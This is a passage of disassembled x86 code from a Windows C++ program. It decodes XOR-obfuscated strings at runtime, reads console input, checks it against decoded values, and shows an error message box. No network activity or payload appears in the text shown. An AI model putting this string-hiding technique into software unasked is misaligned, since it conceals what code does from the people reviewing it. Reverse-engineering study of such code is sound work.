packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x348], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x344]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x344], xmm1
add eax, 8
cmp eax, 0x14
jl 0x4688f0
mov dword [ebp - 0x4f4], edx
cmp edx, 0x10
jge 0x468a37
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x344], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x10
jl 0x468a00
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468a60
sub ecx, edx
lea eax, [ebp - 0x344]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
mov byte [ebp - 4], 8
lea edx, [ebp - 0x360]
cmp dword [ebp - 0x34c], 0xf
xorps xmm0, xmm0
cmova edx, dword [ebp - 0x360]
sub esp, 0x18
mov edi, esp
mov ecx, edx
movups xmmword [edi], xmm0
lea eax, [ecx + 1]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [ebp - 0x338], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468ab8
sub ecx, dword [ebp - 0x338]
push ecx
push edx
mov ecx, edi
call fcn.00472730
lea eax, [ebp - 0x3a8]
mov ecx, 0x664bf8
push eax
call fcn.00453960
mov edi, dword [ebp - 0x374]
mov edx, eax
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x338], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468af2
sub ecx, dword [ebp - 0x338]
cmp dword [edx + 0x14], 0xf
mov eax, dword [edx + 0x10]
jbe 0x468b0a
mov edx, dword [edx]
push ecx
push edi
push eax
push edx
call fcn.00472380
mov ecx, dword [ebp - 0x394]
add esp, 0x10
mov byte [ebp - 0x4f6], al
cmp ecx, 0xf
jbe 0x468b56
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x468b4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x468bd9
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
cmp ecx, 0xf
jbe 0x468bab
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x468ba1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x468bd9
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov byte [ebp - 4], 4
cmp byte [ebp - 0x4f5], 0
je 0x468be9
mov ecx, dword [ebp - 0x37c]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x468bdf
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x468bdf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.005ce06a
add esp, 8
cmp byte [ebp - 0x4f6], 0
jne 0x468e92
mov eax, dword [str.t_A_G6]
mov dword [ebp - 0x338], eax
mov ax, word [0x649954]
mov word [ebp - 0x334], ax
test ah, ah
je 0x468c5c
xor edx, edx
mov dword [ebp - 0x4f4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x338], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 6
jl 0x468c20
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x390]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.0046e590
movups xmm0, xmmword [str.eZVFP]
mov esi, eax
xor edx, edx
cmp dword [0x6647f8], 2
mov ax, word [0x649488]
movups xmmword [ebp - 0x410], xmm0
mov word [ebp - 0x3c8], ax
movups xmm0, xmmword [0x649450]
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x400], xmm0
movups xmm0, xmmword [0x649460]
movups xmmword [ebp - 0x3f0], xmm0
movups xmm0, xmmword [0x649470]
movups xmmword [ebp - 0x3e0], xmm0
movq xmm0, qword [0x649480]
movq qword [ebp - 0x3d0], xmm0
jl 0x468e20
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x414]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x414], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x410]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x410], xmm1
add eax, 8
cmp eax, 0x4c
jl 0x468d11
mov dword [ebp - 0x4f4], edx
cmp edx, 0x4a
jge 0x468e57
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x410], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x4a
jl 0x468e20
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
call fcn.0046e590
push 0x10
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x390]
jmp 0x46afae
call fcn.004658e0
call fcn.00466e50
cmp byte [0x648ed7], 0
mov ecx, dword [0x648ed0]
mov esi, dword [str.Y_T8ES____T]
mov edi, dword [0x6647f8]
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x338], esi
je 0x469007
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x468fd0
movaps xmm2, xmmword [0x64a4a0]
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x33c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
xorps xmm1, xmm0
movd dword [ebp - 0x338], xmm1
jmp 0x469007
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x33c], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 8
jl 0x468fd0
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x390]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, eax
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
lea ecx, [ebp - 0x478]
call fcn.00461130
add esp, 0x18
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0xc
call fcn.0046e6f0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4499c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x649884]
mov cx, word [0x64989c]
xor edx, edx
mov word [ebp - 0x3c4], cx
mov esi, eax
mov cl, byte [0x64989e]
mov byte [ebp - 0x3c2], cl
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x3dc], xmm0
movq xmm0, qword [0x649894]
movq qword [ebp - 0x3cc], xmm0
cmp edi, 2
jl 0x4691f0
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3e0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3e0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3dc]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x3dc], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x4690e0
mov dword [ebp - 0x4f4], edx
cmp edx, 0x1b
jge 0x469227
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x3dc], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x1b
jl 0x4691f0
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x469250
sub ecx, edx
lea eax, [ebp - 0x3dc]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x360]
cmp dword [ebp - 0x34c], 0xf
mov ecx, esi
cmova edx, dword [ebp - 0x360]
call fcn.00470b00
push 0x4498d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0xf
jbe 0x4692d8
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4692ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4692ce
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
xorps xmm0, xmm0
mov byte [ebp - 0x4f5], 0
lea ecx, [ebp - 0x4f5]
mov dword [ebp - 0x350], 0
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x34c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x469306
sub ecx, edx
lea eax, [ebp - 0x4f5]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
mov esi, dword [ebp - 0x34c]
lea edx, [ebp - 0x360]
mov edi, dword [ebp - 0x360]
cmp esi, 0xf
cmova edx, edi
seta byte [ebp - 0x4f6]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x338], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x469350
sub ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x478]
cmp dword [ebp - 0x464], 0xf
push ecx
cmova eax, dword [ebp - 0x478]
push edx
push dword [ebp - 0x468]
push eax
call fcn.00472380
add esp, 0x10
mov byte [ebp - 0x4f5], al
cmp byte [ebp - 0x4f6], 0
je 0x4693a4
lea ecx, [esi + 1]
push ecx
push edi
call fcn.00472ef0
mov al, byte [ebp - 0x4f5]
add esp, 8
lea edx, [ebp - 0x478]
test al, al
je 0x469572
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.00471c70
sub esp, 0x18
lea eax, [ebp - 0x478]
mov ecx, esp
mov dword [ebp - 0x338], esp
push eax
call fcn.0046e800
mov byte [ebp - 4], 0xe
xor edx, edx
mov edi, dword [0x6647f8]
mov ecx, dword [0x648ed0]
mov esi, dword [str.Y_T8ES____T]
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x374], esi
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x469500
movaps xmm2, xmmword [0x64a4a0]
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x378], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
xorps xmm1, xmm0
movd dword [ebp - 0x374], xmm1
jmp 0x469537
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x378], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 8
jl 0x469500
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, eax
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
mov byte [ebp - 4], 0x10
call fcn.00461340
add esp, 0x30
jmp 0x46979a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00471700
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x449990
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x64a340]
mov ecx, dword [0x64a360]
xor edx, edx
mov edi, dword [0x6647f8]
mov esi, eax
mov dword [ebp - 0x3c8], ecx
mov cx, word [0x64a364]
mov word [ebp - 0x3c4], cx
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x3e8], xmm0
movups xmm0, xmmword [0x64a350]
movups xmmword [ebp - 0x3d8], xmm0
cmp edi, 2
jl 0x469730
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3ec]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3ec], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3e8]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x3e8], xmm1
add eax, 8
cmp eax, 0x24
jl 0x469620
mov dword [ebp - 0x4f4], edx
cmp edx, 0x26
jge 0x469767
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x3e8], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x26
jl 0x469730
lea eax, [ebp - 0x3e8]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0xc
call fcn.0046e6f0
push 0x462dd0
lea ecx, [ebp - 0x33c]
call fcn.00471bf0
mov ecx, eax
mov byte [ebp - 4], 0x12
call fcn.00448000
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x338], 0
je 0x4697d7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
sub esp, 0x18
lea eax, [ebp - 0x478]
mov ecx, esp
push eax
call fcn.0046e800
mov ecx, 0x664bf8
call fcn.00451e50
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4499c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x6494fc]
xor edx, edx
mov esi, eax
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x3f0], xmm0
movups xmm0, xmmword [0x64950c]
movups xmmword [ebp - 0x3e0], xmm0
movups xmm0, xmmword [0x64951c]
movups xmmword [ebp - 0x3d0], xmm0
cmp edi, 2
jl 0x469980
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop dword [eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3f4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3f4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3f0]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x3f0], xmm1
add eax, 8
cmp eax, 0x34
jl 0x469870
mov dword [ebp - 0x4f4], edx
cmp edx, 0x30
jge 0x4699b7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x3f0], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x30
jl 0x469980
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x4498d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0xc
call fcn.0046e6f0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
push 0x664bcc
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov esi, dword [0x664bcc]
lea eax, [ebp - 0x478]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0046e800
lea ecx, [esi - 1]
call fcn.004650b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x18
push 0x449960
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp byte [0x649c13], 0
mov esi, eax
movups xmm0, xmmword [0x649bfc]
movups xmmword [ebp - 0x360], xmm0
movq xmm0, qword [0x649c0c]
movq qword [ebp - 0x350], xmm0
je 0x469bf7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x469bc0
